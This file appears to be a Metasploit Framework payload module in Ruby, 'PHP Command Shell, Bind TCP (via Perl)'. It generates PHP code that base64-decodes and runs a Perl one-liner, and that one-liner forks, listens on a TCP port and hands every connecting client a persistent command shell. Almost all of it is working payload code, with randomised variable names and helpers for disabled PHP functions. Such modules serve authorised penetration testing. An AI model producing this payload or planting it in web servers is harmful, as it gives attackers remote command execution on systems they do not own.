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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = :dynamic
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  include Msf::Payload::Single
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  include Msf::Sessions::CommandShellOptions
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  include Msf::Payload::Php
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  def initialize(info = {})
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    super(merge_info(info,
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      'Name'          => 'PHP Command Shell, Bind TCP (via Perl)',
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      'Description'   => 'Listen for a connection and spawn a command shell via perl (persistent)',
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      'Author'        => ['Samy <samy[at]samy.pl>', 'cazz'],
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      'License'       => BSD_LICENSE,
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      'Platform'      => 'php',
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      'Arch'          => ARCH_PHP,
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      'Handler'       => Msf::Handler::BindTcp,
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      'Session'       => Msf::Sessions::CommandShell,
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      'PayloadType'   => 'cmd',
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      'Payload'       =>
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        {
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          'Offsets' => { },
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          'Payload' => ''
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        }
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      ))
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  end
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  #
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  # Constructs the payload
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  #
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  def generate(_opts = {})
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    vars = Rex::RandomIdentifier::Generator.new
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    dis = "$#{vars[:dis]}"
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    shell = <<-END_OF_PHP_CODE
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              #{php_preamble(disabled_varname: dis)}
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              $c = base64_decode("#{Rex::Text.encode_base64(command_string)}");
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              #{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
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    END_OF_PHP_CODE
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    return super + shell
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  end
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  #
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  # Returns the command string to use for execution
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  #
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  def command_string
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    cmd = "perl -MIO -e '$p=fork();exit,if$p;" +
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      "$c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;" +
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      "$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
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    return cmd
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  end
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end
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